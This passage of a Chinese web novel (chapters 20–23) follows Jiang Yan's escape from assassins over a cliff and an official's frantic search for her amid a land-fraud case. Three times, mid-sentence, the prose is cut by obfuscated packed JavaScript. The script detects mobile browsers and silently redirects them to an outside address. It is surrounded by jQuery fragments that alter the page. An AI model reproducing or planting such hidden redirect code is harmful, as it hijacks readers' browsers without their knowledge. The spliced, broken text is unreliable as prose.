事已至此,只能走一步看一步了,赶不上也没办法,反正她也不想去,现在离日出还有几个时辰,估计附近人家已经进入梦乡,自己也不好打扰人家,于是说道:“先找个客栈休息吧,等明天看看是继续坐车还是走水路。” 说罢拿出两块碎银子递给车夫:“您辛苦。” 车夫本来有点尴尬,但没想到自家小姐是个心善的人,挠头道:“是小的对不住您。” 姜琰:“没有的事。” 三人提着灯走了许久,穿过无边的芦苇地,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117116|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于在另一边山头找了家客栈住下。 然而姜琰还是高兴的太早了,第二天上午车夫来找她时,她以为是终于可以走了,没想到车夫劈头盖脸来了一句:“车轮卡的太死,他们几个大男人拔了半天也没拔出来,所以就把车轮锯了,这下得换个车轮了,但是因为马车车轮太大,附近没有一样大小的轮子,所以得让木匠现做,还得等半天。” 姜琰:得,悬着的心彻底死了。 这下是彻底迟到了,她倒是想去告知一下沈瑜春,但这山里也没有信差。 姜琰只能干巴巴地等着,她倒是不着急找人家,可远在青州的某些人把方圆五十里都翻烂了也没找到她人。 福必成坐在府衙的议事厅里和眼前的男人四目相对,半晌,他小心翼翼地问道:“你说你是易见山?” 今早他得知消息昨晚子时易见山已经离开,自从他离开后福必成右眼就开始突突突地跳起来,怎么也压不住,直觉告诉他可能有不好的事情发生,于是立刻让车夫驱车来到府衙,打算问问田知半修渡口的事情,没想到小吏告诉他田大人不在,但很快就回来,让他去里面稍微等等,结果还没等到田大人呢,就碰到了一位翩翩公子,这公子穿得倒是挺贵,一袭白色银丝暗纹团花长袍,手里拿个小扇,长佩高冠,眉眼却始终带着笑意,看起来挺好接近,他还以为这人也是来找田大人合作的,礼貌告知他人不在,这位公子答谢,两人一来二去就聊了起来,只是越聊越不对劲,聊到最后福必成告知此人自己姓名,顺便问了一下他的,只见这人朱唇微启,吐出来三个字: “易见山。” 福必成:“什么?你真是易见山?” 面前的男人笑了一下,眼下一颗小痣也跟着动了动:“不然呢?” 福必成“哗”一声从椅子上滚下来,痛苦地捂住心脏:“你是易见山......那我前两天见的是谁?” 真易见山放声大笑:“老兄,你莫不是被人诓了?” 福必成没说话,没想到这人越见他痛苦就越要把刀往他心窝子上戳:“我在路上已经抓了好几个假冒我易氏子弟行骗的人了,没想到这儿还有一个哈哈哈哈......老兄你跟我说说,他怎么骗你的?” 福必成:......别说了。 易见山笑得泪都要出来了,刺耳地笑声让福必成回神,他怔怔问道:“你为什么这么开心?你不觉得生气吗?” 易见山觉得这话有趣,回道:“为什么要生气?别人假扮我们易氏族人是因为我们易氏厉害,是大胤望族,至于你们被骗的这些人......” 易见山突然收敛了笑容,脸上露出一丝残忍:“是因为你们蠢。” 福必成猛然抬头看向他,后者眼里的温和荡然无存,取而代之的是高高在上的疏离。 对了,福必成想,这才是上位者该有的眼神,空洞且冷血,他就说嘛,那个假的易见山眸子太亮了,满眼的正义热忱,根本就不对劲。 福必成扶着椅子站了起来,踉跄地向前走去,他要回府,要回府仔细想想是哪里出了问题,只是刚到家,就看见那个“姜家大小姐”带着衙役将他的宅子围了起来,田大人站在门口,“姜琰”带着常庄百余人跪地状告道:“福某欺压乡里多年,借着分田的名义将我族几十人活活饿死,可民女最近才发现,这地根本不是他的,求田大人还我常家人一个公道!” 田知半也很懵,自己刚从城外回来就被一群农户扛着锄头“绑来”此地,但既然民有冤,他就一定要查个清楚,于是问道:“尔等可有证据?” 常禾从怀里掏出一沓地契道:“有的,因为这一百四十亩田,已经是我的了。” 福必成感觉一盆凉水从天而降将他浇了个透心凉,那一刻被耍的羞耻感甚至盖过了他的害怕和气愤,他站在一旁,双手在两侧握紧,嘴里牙都要被咬碎了,喉咙里涌出一股血腥味儿,他的眼睛已经红了,血丝蔓延在眼白上,那一刻他只有一个想法:“找到那个真正的、假冒易见山的女人,或者他应该叫她,姜琰。” 20.第 20 章 姜琰一直等到太阳将要落下才堪堪上车,山里的木匠没有金漆他们只得把原木车轮安了上去,看上去不伦不类的,连盼春都嫌弃道:“等到了城里就换了吧。” 姜琰倒是无所谓,能走就行,她现在比较担心的是沈瑜春会不会着急。 不过……想想平常神色疏冷的男人急得到处找人,应该也挺好玩的。 她们走的这段山路高险,但不崎岖,两山连岸,略无阙处,弦月高升,银光铺在飞湍的瀑布上,一声凄厉猿啼在山间飘荡。 这对于走夜路的人可不太妙。 山上夜里很冷,残雾浮起,车夫不敢走得太快,生怕连人带车掉下去,姜琰和盼春拿出毯子盖上缩成一团取暖,不知是不是气氛烘托的原因,她心情莫名沉重,总觉得有事情发生。 然而他们不知道的是,离她们不远处的树丛里,正有人虎视眈眈地盯着他们。 四个杀手蒙着面穿着黑衣,手里拿着长刀蓄势待发,为首的压低声音回头问道:“老大,等会儿直接上么?” 身后那人摇了摇头:“等我命令,记住,人可以杀光,但是一定要先把车里搜干净,一张地契和银票也不能落下!” 他说话时声音下意识地抬高,引得几只狐兔惊蹿,头顶树梢夜雀飞散,古怪地叫着,令人毛骨耸俱。 坐在车头的车夫听见后面传来奇怪动静,浑身一抖,差点把手里的缰绳甩飞,骂了句脏话,好奇地向后瞅去。 原本鸟兽飞散的树丛已经恢复安静,凄凄凉风吹动纷乱树影,簇簇声响里夹杂着虫吟,如同老妪呜呜咽咽的哭声。 车夫在心中骂道:臭兔子,吓老子一跳。 马车缓缓向前驶去,前方的夜雾渐浓,连脚下的方寸之间都瞧不见,车夫想停下,但又因着昨日的失误让小姐耽搁了好一会儿,不敢再说,便硬着头皮继续驱车。 蒙面人首领见马车驶入浓雾之中,大有缓滞不前的势头,当机立断挥手示意身后几人行动,伸手不见五指的黑夜里,几道冷光倏然划过,只听歘歘两声,远处的马车里便传来女子的尖叫。 车猛然停下,一切都发生的很突然,姜琰上一秒还在和盼春说话,下一秒一只长箭擦着她的耳垂穿破马车,只要刚才稍微歪一下头现在她的脑浆便会涂满座位和脚下姜秉从西域商人手里买来的花毡。 盼春已经被吓得说不出话来了,失声地尖叫着,好像被人割去了声带。 姜琰这才意识到他们正在被人追杀,生死攸关的时刻,她竟然莫名地冷静下来,飞速起身掀开车帘发现车夫已经被一箭穿心,箭镞从他后背穿过,看来前面也有杀手埋伏。 “咻——咻咻咻” 无数的长箭前后齐发,混杂着女子的尖叫声响彻在寂静山谷,姜琰见周围雾气还未褪去,那些人应该是看不到她们的,不然早就冲上来将她们屠杀殆尽,她连忙钻进马车里捂住盼春的嘴,小声告诫道:“嘘——先别叫了。” 她看了眼盼春头上的簪子将她拔下,又把自己头上的能伤人的尖锐饰品全部摘下,从马车座位下的格子拉开掏出里面的辣椒粉和花椒面。 南胤人把这些东西当做香料售卖,她觉得稀奇,在街上看到时顺便买了一点。 雾气扩散的范围不是很广,她们走到边缘发现离藏身的树林还是有点距离,就算自己拥有凌波微步这种绝世武功也绝对会被他们发现射成筛子,右手边看去倒是一望无际的白茫茫一片,她带着盼春躲过箭矢追击来到边缘,伸出脚试探了一下却差点踩空——该死!右边是悬崖! 外面的人见自己怎么射雾气里的人也不传出尖叫了,以为是已经死了,打算走过来把银票地契拿走,逐渐向雾圈里面靠近。 姜琰听着逐渐逼近的脚步声,慢慢放开捂住盼春的手,柔声问道:“盼春,你相信我吗?” 盼春含着泪点了点头。 姜琰眼眶有些酸涩,声音已经哽咽:“等会儿......我让你跑,你就跑......头也不回的跑,听见了吗?” 盼春好像知道她要干什么了,带着哭腔小声哀求:“小姐,你别说了,别说了......” 姜琰示意她噤声,接着说道:“你不是说我无所不能?那你相信我,我一定有自己的解决方法,我让你跑,你跑就是了。” “我不想走啊......” 姜琰轻轻地吸了下鼻子,眼泪倔强地在眼眶里打圈,一字一句道:“你走了回到姜家,姜秉没准还能来找我,我......我根本就不属于这里,罢了罢了,你快走吧......” 她有些语无伦次,他们的脚步声从四面八方传来,如同这像覆斗一样的雾气一般令人 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杀手们也傻眼了,这女的怎么自己跳下去了,不过很快有人反应过来:“不对,马车上是两个女的,跳下去一个还有一个在哪?” 另一个杀手迅速钻进马车里搜查一遍道:“马车里没有。” 另外几个杀手捡起地上的尸体仔细看了一遍:“没有,只看到一个车夫。” 第一个察觉过来的杀手踹了下马车骂道:“娘的,让她给跑了,没准钱在那个女的身上,去找!” 盼春心中一惊,迫使自己镇定起来:“我不能辜负小姐。” 她扶着身旁的树干起身,虽然腿已经无力到站不起来,但她已经下定决心自己爬也要爬回濯州。 没人知道盼春走了多远的路,吃了多少苦,三天后天将亮未亮之时,只剩一口气的盼春倒在了姜府的台阶上,门口的小厮发现了她将她抬回府里,她醒来第一眼见到的竟然是沈瑜春。 沈瑜春的脸色很不好看,苍白的皮肤下甚至能看见青色的血管,他见盼春醒来,连忙招呼婆子给她灌了几口汤药,盼春将碗退开,欲语泪先流,啜泣道:“小姐,小姐她......” 沈瑜春那张不见息怒的脸上终于有了点痛意,焦急问道:“她......她怎样?” 盼春嚎啕大哭道:“小姐她从悬崖上跌下去了啊!!!” 21.第 21 章 【嘀——您的奖励已到账,财政系统奖励已放入背包,请您及时激活。】 系统的声音宛如平地惊雷,在姜琰的脑子里炸响,本来睡得安稳的她下意识地皱眉: 谁啊? 这么吵。 她的指尖微不可见地颤动了一下,眼皮子在上下打架,面部抽搐了起来。 她缓缓睁开了眼: 这哪啊? 眼前是苍蓝的天空,几缕浮云飘过,明明已经入夏,她却觉得此地十分凉爽,耳边依稀有哗哗水声,她想扭一下脖子,刚刚用力,下一秒,她便倏然瞠大了双眼。 疼疼疼疼疼疼疼——好他爹的疼啊! 怎么会这么疼啊!她明明...... 明明是个异常轻微的动作,却像打开了身体上的某个闸门似的,全身上下都被疼痛席卷,她感受不到身体的存在,觉得自己就像一坨被捶打成肉糜的烂肉一样。 她无力地闭上了双眼,心中悲戚地想——死吧,没准死了还会穿回去。 ...... 濯州某驿馆内。 辛景和等一众人正围在沈瑜春身旁,苦口婆心道:“大人你莫不是疯了,你现在去青州,让我们户部这些人怎么办,咱们不是还要去湖州吗?” “宋知州已经派人送信来问了,咱不能让他等着啊!” 沈瑜春却像是被什么东西罩住了一样,耳聋眼瞎地忽略他的声音和人,绕过他继续收拾衣物。 “大人啊!!” 辛景和发出一声凄厉惨叫。 沈瑜春终于无法视若不见,像个小孩子一样低着头,坚定地说道:“我要去找她。” 辛景和不知道发生了什么事情,以为自己听错了,问道:“啊?找谁?” 沈瑜春又不说话了,辛景和急得上蹿下跳,刚想再劝劝自己上司,就听沈瑜春直截了当地开口道:“找一个郎中、一个主事跟着我,其他人由你带去湖州。” 辛景和一听大事不妙,再次阻拦道:“大人,你可要想清楚了,你擅离职守,可是要被圣上问责的!” 沈瑜春却反驳道:“谁说我是为私事去的?我不是带着户部的人去的吗,权当监督我好了,青州施行摊丁入亩出了问题,身为户部要员我却不去解决,你觉得这像话吗,这还是一个恪尽职守的好官吗?” 辛景和感觉自己脑袋一沉,几顶千斤重的大帽子盖在了自己的头上——得,这下自己里外不是人了。 辛景和见上司执意如此,身为打工人的他又能怎么办呢,人家是侍郎,还是沈家的人,自己虽然也是士族出身但和沈家比起来简直渺小如蚍蜉,再说了沈瑜春已经为他找了解决方案,带两个户部的人去,对外就说有事,这事可大可小,除非有心之人特意提起,倒也无伤大雅。 但若是有人诚心与他作对,不管做什么都会被参上一本,这样看来,这也不是什么大事。 辛景和默默闭嘴,眼睁睁地看着老板收拾好东西,把店小二叫上来,问哪里有卖良驹的,辛景和见状大叫道:“等等,大人你不会要骑马去吧!” 青州离濯州虽然不远,但坐车最短也要一天的时间,还是一路畅通无阻,查验不严的情况下,沈瑜春看起来如此瘦弱,骑一天的马不得屁股都裂开了? 他下意识地看向了老板的屁股。 ……好翘。 沈瑜春见辛景和一直盯着自己的那个地方,心中又羞又怒,拿手里的扇子敲了下辛景和的头。 “哎呦......”这一下可把他打老实了,连忙把自己不合时宜的想法收起来,问道:“大人可是要骑马去青州?路途遥远,恐怕费力劳神,而且按照礼制,文官出行应坐车,骑马恐怕不合规矩......” 沈瑜春一听“规矩”这两字瞬间头脑发涨,规矩规矩规矩,到处都是规矩,自他生下来起这些莫名其妙的礼制就像枷锁一般束缚着他,难道就因为他是沈家的孩子,就因为他是朝廷命官他就要放弃...... 放弃什么呢? 沈瑜春也答不上来,一想到姜琰跌下断崖他的心就好像被棉花堵住一样地沉闷,一想到她会受伤他就丧失了理智,更别说她有可能...... 不会有这种可能的。 沈瑜春的脸色已经完全黑下去了,声音低沉,就像一只随时发威的豹子,辛景和第一次见沈瑜春如此神情,以往他虽然面色疏冷却始终谦逊温和,从来不会用这样阴沉不悦的表情看人,也不会说出这样的话。 他说:“别跟我说礼法,我最讨厌这些。” 辛景和感觉自己天塌了,这绝对不是沈大人,如果不是害怕沈瑜春彻底发怒,他都想请个道士来看看是何方妖孽夺了他老板的舍。 辛景和乖乖闭嘴,一副“老板说什么是什么”的奸臣模样,这才平息了沈瑜春的怒火。 店小二见这两人只见气氛诡异,匆匆说了句:“东市、东市的马最好”后逃命似地飞奔下楼。 沈瑜春现在没心情理任何人,听到这句话以后立刻扛起包袱就走,辛景和望着老板逐渐远去的背影,突然想到自己还没问出口的话,冲着他大喊道:“大人!你走了郎中和主事怎么办啊!” 沈瑜春的声音是那么渺远,他回头道:“给他们备车!坐车去!” “不得了了。”辛景和望着那背影啧啧道,“大人绝对是被谁附身了,回去让鸿胪寺那些人找个道士做做法吧。” 说完想起自己那一堆破事,立刻转身回去安排了。 ...... 姜琰感觉有人拿东西戳了戳自己。 紧接着感觉到脸上贴上了一个湿漉漉的东西。 温热的触感唤醒了她,她勉强地睁开了眼睛,漆黑的瞳孔里映出一排飞鸟走过的痕迹,身体好像没那么痛了,但她依然无法转头。 “喂?你还好吗?” 谁在说话?她想。 “跟你说话呢!”她感觉右胳膊有点刺挠。 她用力地将头拧了过去,只看见一个小孩儿坐在牛背上,手里拿着一根木棍。 原来是个放牛娃。 放牛娃见她能动了,饶有兴趣地跳下牛背,仔细看着她的脸和身体,他捻了一下她衣角的布料,嗤笑道:“有钱人家的小姐,你怎么这么狼狈?” 姜琰翻了个白眼:这什么中二小屁孩?他以为自己很帅? “你需不需要我救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈瑜春越云淡风轻,他表现得就越着急,仿佛失踪了的这个人是他自己的亲眷,瞧见沈瑜春脸色虽然还是很差,但却比原先柔和了太多,心中终于放松地喘了口气,明白他不是冲他来的,或许只是因为那人对于沈瑜春来说过于重要,所以才喜怒形于色了。 一伙人就这么浩浩荡荡地上山找人,终于在巫山的某个不知名山峰处发现了一辆摇摇欲坠的马车。 金毂朱漆的马车全车上下插满了密密麻麻的箭矢,就像一个被捅了的马蜂窝一样孤零零地停在悬崖边上,四周横七竖八地躺着十几具尸体,仵作先上前翻看了一遍,得出结论:“这是两伙人,一伙人用刀,另一伙人用剑和匕首。” 沈瑜春不在乎这两拨人到底是谁派来的,他现在只想找到姜琰,他走到悬崖边上,瞥见崖壁的树枝上挂着一缕水青色的布条,心中一沉,眉心狠狠跳了下,几乎是丧失理智地就要往下跳,田知半正和仵作说着话呢,一看沈瑜春已经抬腿了,立刻拦住他道:“大人万万不可啊!!” 你要是死了你爹得拿着刀追来青州来砍死我啊! 沈瑜春没有执意往下跳,因为他知道自己死了今天在场的所有人都得给他陪葬,只是红着眼恨声道:“给我找!活要见人死要见尸!给我找出来!” 衙役见状立刻说道:“大人,前面便有村民们开凿的下山的路,不仅能缩短直接下山的路程,还安全,咱们从这边走吧。” 田知半刚想安抚沈瑜春两句,一回头发现那抹绯红身影已经只有一粒白米的大小了。 22.第 22 章 姜琰感觉自己正在被雨水淹没。 起初只是一两滴雨滴打在脸上,有些疼,有些痒,接近着脸上身上的雨水越来越多,身下的积雨舔舐着她的指尖,她很想站起来,因为身上湿漉漉的很不舒服,但轻微抬动了一下手腕后就立刻放弃了。 她有点想哭。 死在陌生的时代,陌生的地方,身边没有挚友真爱,没有一个可以信任的人,她想摸摸自己胸口的银票也无法做到——毕竟这是自己唯一的慰藉了。 “孩子!你在哪啊!” 远方似乎有人声传来,但她不知道对方是不是在叫自己,毕竟这声音听起来很急切、很担心。 她并不觉得有谁会这样急切的找她。 “孩子!受伤的丫头!你在哪啊!我们来找你了!” 受伤的……丫头? 在叫她? 她的喉头滚了滚,但却疼得连叫也叫不出来了。 雨越来越密集了,噼里啪啦地像石头一样打在她的脸上然后蔓延开形成一张盖着她脸的水膜,因为抬不起手,她只能任由雨水进入她的鼻腔,眼睛,她甚至连咳嗽都咳不出来,只能一抽一抽的挺起胸腔,就像鱼被拍上岸那样奄奄一息地挣扎着。 姜琰有些后悔了。 她微微转头,雾气混杂雨水迷蒙的前方视线里,有三高一矮的身影向她跑来,男男女女一边拨开大雨倾泻而下形成的水帘,一遍大喊道:“别着急,我们来了!” 她已经分不清脸上是雨还是泪了。 她用尽全力力气大喊道:“......我在这儿啊,我在......我在这儿。” 四人之中的中年男人听到了这声音,突然坚定看着前方她所在的位置说道:“在前面!我们快去!” 我好疼啊。 雨水已经没过来者的脚背,河滩的石头大大小小分布着,很多都是未打磨的坚石利石,他们的草鞋和脚底已经被石头划破,鲜血漫进冰冷的雨水里,但他们却全然无感,继续艰难地向前走着。 一个干瘦黝黑的老妇人穿着蓝色粗布短衫出现在她眼前,她看着很年轻,但头发已经有些花白,细碎的头发顺着雨水流在额角鬓边,她甚至觉得她比她还狼狈。 妇人用那双粗糙的大手将雨和她的脸隔开,她躺在地上,感觉周围又陆陆续续地围上了人。 中年男人对着另一个身挎箱子的男人说道:“李郎中,你看看她怎么样了?” 郎中将手探向水下,摸索着找到了她手臂的断裂处道:“她的手折了。”,然后又摸向她的小腿道,“胫骨也折了。” 中年夫妻惊呼道:“造孽啊!那我们现在该怎么办……” 郎中想了一会儿将背后背着的东西拿下来,让小孩儿和男人撑住,对着妇人道:“李娘,你和我一起把小姑娘抬上来,先抬没受伤的右边身子,再慢慢抬左边!记得一定要轻!” 一只带着凉意的手将她从脖子处托起,粗粝的掌心磨得她有些痒,她轻轻皱了下眉,听见妇人不好意思地说道:“抱、抱歉......我的手心有些糙......” 姜琰摇了摇头。 她感觉自己被人轻轻托起放下,有人将她托举到她无法到达的高度,很奇怪,明明还在下雨,她却安心地睡去了。 ...... 沈瑜春来到山脚下的河滩处,大雨将过往的痕迹冲刷干净,天空一洗无尘,就连脚下的石块也发出锃亮的光芒,他感觉自己的心空了一块。 前方什么也没有,干净得过于极端,大雨带走了他的希望,他的腿有些软。 田知半赶到的时候,沈瑜春正蹲在地上呆呆地望着前方,原本纤尘不染的官袍上布满了星星点点的泥水,靴子的鞋底上趴着一层厚厚的泥垢,沈瑜春没有哭,只是一遍一遍重重地绝望地痛苦地呼吸,他能感觉到眼前的男人马上就要崩溃了。 田知半从来没见过这样的沈瑜春,面前的男子十六岁进士及第,在参政院观政一年后便被圣上提职到户部当起了员外郎,三年后升任主事,过蒙拔擢,宠命优渥,二十有六便成为了户部左侍郎。 沈瑜春的神话连他这种常年在外的小地方官都知道,他曾在进京议事时远远见过他一面,那时的他被一群穿着五颜六色官服的人包围着,宛如众星捧月一般,令他既羡慕又心酸。 然而现在这个男人却弯着腰毫无形象地蹲在地上,衣服脏乱,神情呆滞,田知半有一瞬间觉得沈瑜春完蛋了。 沈瑜春遇到了自己的软肋。 他走过去伸出手,沈瑜春看了一眼后强撑着站起,眉眼间尽是疲惫,他轻轻说道:“加强城内外的验查,没有度书的不许出近城,多派几名驻城校尉巡查,等会儿我会把她的画像给你,给我一家一户地去找,找到了我亲自接见,重金奖赏。” 田知半皱起了眉,加强验查是他的本分,沈瑜春让他这么做也没错,不过一家一户地找人,这未免也太过了些,身为一方知府怎么能私闯百姓家宅,打扰百姓和乐生活呢,他有必要为了沈瑜春砸了自己的招牌? 他心中已经产生了异议,沈瑜春何苦拿自己的官威压人,是不是有些太过了,这是官场,还以为自己是沈家小少爷? 但即使心中又诸多不悦,他也不敢反抗沈瑜春,只能在他身后答应,待沈瑜春转身后立刻吩咐手下小吏书信一封,放飞信鸽,飞鸟穿过青州上方,不需三天,便会抵达它要去的地方。 田知半默默跟在沈瑜春身后,低着头就像一个随时等待父母教训的孩子一样,沈瑜春在竹林里慢悠悠地走着,突然停下,田知半差点撞在他的背上。 沈瑜春回头,目光如炬,问他道:“福必成那件事查得怎么样了?” 田知半先是惊讶,然后支支吾吾地说道:“正......正在查,主要是姜......” 不对,现在已经不能称她为姜小姐了。 “常禾。” 沈瑜春开口提醒道。 “......啊对,常禾,常保的女儿,她手上的地契也是真的,福必成手上的地契也是真的,我们正在核对盘查这地是怎么流转的。” “福必成和康日吉现在在哪?” “在府衙里拘着呢。” 沈瑜春眼珠转了一下,觉得哪里不对,紧接着问道:“余士玮呢?最开始不是他们三个先分的田吗?” 田知半不知道怎么回答,他没想到沈瑜春对这件事这么了解,承认这件事就说明他默许了府衙中有人勾结乡绅分田,这对他的仕途或许会有影响,但他若说自己不知道这件事,那也太假太蠢了,沈瑜春能看不出来这里面的龃龉吗? 但他确实是才知道福必成分田啊!他也很冤枉啊,他是实干家,会搞建设,但不会搞经济,鬼知道他们那两个没读过书的臭皮匠还能搞出分田偷税的方法! 想到这儿,他暗自咬牙:“该死的福必成和康日吉,可恨,干脆让审讯的衙役弄死了算了。” 见他不说话,沈瑜春也不为难,他留着田知半还有用,于是提醒道:“田大人不妨去查查余士玮在哪,或许会知道事情怎么解决。” 这一句话点醒了田知半,沈瑜春没抓着府衙里有内鬼的事情询问,而是着重让他去解决这两人,可见他也不多待见他们,想来只要这事情处理得他满意,府衙里的事情还是他说了算的。 身为一个地方官,他深知官商勾结的危害性有多大,府衙里的蛀虫他会处理干净,但这事儿不能让别人知道,否则他还怎么晋升,那些政敌不得揪着他这件事情骂他一辈子? 这种把柄不能送到他们手上。 他连忙写信给各地县丞,让他们在自己县内认真排查,无论余士玮是死是活抓紧把这人找出来,经过一通忙活,终于在两天之后找到了余士玮的尸体。 他被人捆着扔到了郊县农庄的水井里,捞出来的时候浑身发青肿胀,没过一会儿身体就像烟花一样炸开,内脏喷了一地,眼珠都爆出来了。 一股恶臭弥漫在空气中,腐败的烂肉弄脏了他的白色长衫。 田知半看到这景象一个头两个大——此人已经面目全非,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176305|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么定福、康二人的罪? 总不能把这具尸体扔到他们面前让他们发自内心地忏悔愧疚然后承认自己的罪行吧? 要是所有案子都这么简单还需要他这个青天大老爷? 他只能命令仵作仔细搜查,将能用的线索都写出来让他顺着蛛丝马迹一条一条查清楚,尽快定下二人的罪,送走还住在驿站里的活祖宗沈瑜春。 但出乎意料的,事情进展的非常顺利,因为就在衙役搜查余士玮的家里时,他们发现了半块白玉,白玉上稀稀疏疏刻着一些文字,是梵文。 余士玮年少时的私塾先生是一位破戒还俗的僧人,有的时候会教他一点用来读经的梵语,他将他们三人的种种阴谋刻在了白玉上,然后摔成两半,临死前吞了另一块残玉。 福必成和康日吉不是没有想到余士玮会留后手,除掉他之后又仔细地搜了一遍他的家,他们注意到了这半块玉珏,但上面的字他们看不懂,给许多博闻强识的老先生看了都没说出来上面写的是什么,以为真的没什么用又给他扔回家了。 余士玮就这样凭借着自己最后一点智慧让福、康二人伏法。 田知半顺水推舟地给二人判了斩立决。 临刑前的一个晚上,府衙大牢的门被打开,一桶水将福必成泼醒,他看着面前相貌俊朗但脸色铁青的男人,害怕地瑟缩了一下。 男子一身暗紫色窄袖荷花锦袍侧身于月光之下,如墨的乌丝垂在腰侧,修长的身体挺的笔直,俊美容颜一半隐藏在阴影中,一半在月光下异常苍白,福必成跪在他的脚下,仿佛高大巍峨神像前匍匐忏悔的罪人,在这阴暗潮湿的地牢中,他就像银面罗刹一般随时可以残忍地决定他的生死。 明明面前的男子从进门开始就一句话没说,可他还是浑身发冷,两股战战。 他甚至觉得明天去刑场面对断头的铡刀都比现在轻松些。 太煎熬了。 他能清晰地听见自己耳畔的心跳。 沈瑜春用金棕色的眸子看了他一会儿,福必成只觉一阵窒息,他问道:“害怕么?” 福必成老实地点了点头。 沈瑜春看向墙壁,冷声说道:“我在河滩上没找到她时,也这么害怕。” 福必成皱了下眉,他不知道沈瑜春在说什么。 “你派人杀她,就该想到会有今天。” 福必成更加疑惑了,这人神神叨叨地说什么呢? 沈瑜春突然上前抓着他的囚服用力将他掼到墙壁上,用最平和的目光说着最残忍的话:“田知半本来是想腰斩你的,但我觉得太便宜你了”,他拍了拍他的脸道,“凌迟处死怎么样,你趴在百姓身上吸了这么多年的血,把你的肉当着他们的面一片一片割下来,把你的血榨干直到一滴也流不出来,让他们看着你在刑场上惨叫痛苦地死去,怎么样?” 福必成双腿一哆嗦,下身滴滴答答地流着水。 他被吓尿了。 福必成哭着问道:“为什么啊?” 沈瑜春说:“谁让你杀她的?” 福必成懵了,睁着眼睛看了他半天,喃喃道:“?我杀谁了?” 沈瑜春红着眼吼道:“还嘴硬?难道不是你派人埋伏在崖边追杀的她,如果没有你她怎么会坠崖?” 福必成一听这话也急眼了,吼道:“放你娘的狗屁!我杀谁了,我是想杀她没错但我的人到的时候只看见了她那辆摇摇欲坠的马车,我的人根本就没追上他们!” 沈瑜春的手稍微卸力,死到临头,福必成没有理由骗他,如果不是他杀的,那是谁?仵作说是两拨人,他们背后的人是谁? “哈哈哈哈......” 清润的声音在牢房外响起,嘎吱一声生满锈迹的牢门被打开,沈瑜春转头看去,只见一位男子长身玉立于他面前,此人身着一身惨绿长衫,头发以竹簪束起,身上一股幽幽兰香,脸若桃杏,笑起来时眼下小痣也跟着动了动,眼神空洞,明明在笑,却不感觉温和,反而有些瘆人。 易见山说道:“是我的人,意外么?” 23.第 23 章 姜琰是被药草味熏醒的。 她睁开眼时前方的急须壶正咕嘟咕嘟冒着热气,原先在崖下丢下她跑了的放牛娃正守在壶旁昏昏欲睡,手里的蒲扇随着他的头一点一点地摇晃,她觉得嗓子有些干痒,不自禁地低咳了一声。 “咳咳。” 听到她咳嗽,原本睡着的小孩儿突然蹭得一下站起来,看她已经醒过来了,先是愣了一下,然后见她不住地舔嘴,明白她是口渴了,立刻走到她的床边给她倒了碗水。 “我们家没茶杯,你凑合喝。” 姜琰本来就不是讲究人,她实在是太渴了,从崖上跳下去以后就没喝水,被他们一家人捡回家之后对方可能给她灌了点,但根本不解渴,她现在口干得要死,感觉心里有一百只老鼠在挠。 她看了眼自己现在的处境,左胳膊被竹板夹着,脚踝肿起,上面黄一片绿一片地敷着捣碎的草药,给她看病的人医术还挺好的,她现在已经不怎么疼了。 但她还是起不来。 她转头看向放牛娃,大眼睛眨巴眨巴地暗示他自己喝不到,小孩儿嘲笑道:“爱喝不喝,我才不会喂你。” 姜琰也不生气,好奇地问道:“不是说不救我?那怎么还让你婆婆爷爷来找我了?” 放牛娃一下子红了脸,将碗重重放在柜子上,刚想说话,门就开了,救她的妇人上来就给了他屁股一下:“你个恰头撇脑的,不早说有人从山上掉下来了,问了半天才问出来,早说她至于晕这么多天?” 放牛娃被训得面红耳赤,委屈的泪珠在眼眶里打转,转头冲她吼道:“早知道就不救你了!” 然后啪一声把门摔上跑了。 姜琰和妇人面面相觑,后者无奈苦笑道:“抱歉,虎子他自从亲娘走了以后就不怎么和女人说话......当初他也并非不想救你,他只是被吓到了,回来一直哭,问了半天才问出来。” 姜琰现在还是有些虚弱,想笑都笑不出来,只能勉强勾着嘴角摇摇头。 农妇将碗从柜子上端起来,把她身体扶直道:“李郎中说你胳膊和腿摔折了,需要好好养一段时间。” 姜琰点了点头,看向四周,她这才发现这间屋子里除了一张床和一个柜子什么都没有了,黑灰色的泥墙上光秃秃、孤零零地伫立着,她这才知道什么叫家徒四壁。 她回过头时发现农妇已经不知道看她多久了,惊觉自己刚才的打量太没教养,面皮发涨,有些心虚地扯开话题:“我这是在......” 农妇并没有任何不悦,反而温柔地回道:“在原县李庄。” 原县是青州和濯州交界处的一个小县城,不怎么发达,也没什么人知道,如果不是姜琰要走的这条路经过原县,她可能这辈子都不会知道过南胤还有个原县。 说起这件事...... 姜琰皱起了眉。 她明明送信给他们了啊,为什么还会...... 她心里有事,面色也凝重起来,垂着头看着手,农妇以为她在看身上的衣服,连忙解释道:“找到你时你身上的衣服已经湿透了,我就给你换了一身我没穿过的新衣服,你穿着可能有些不舒服。” 原主平日里养尊处优的,身上肌肤细嫩软滑,穿缎子都能被磨出红印子,更别说她这身粗麻衣裳了。 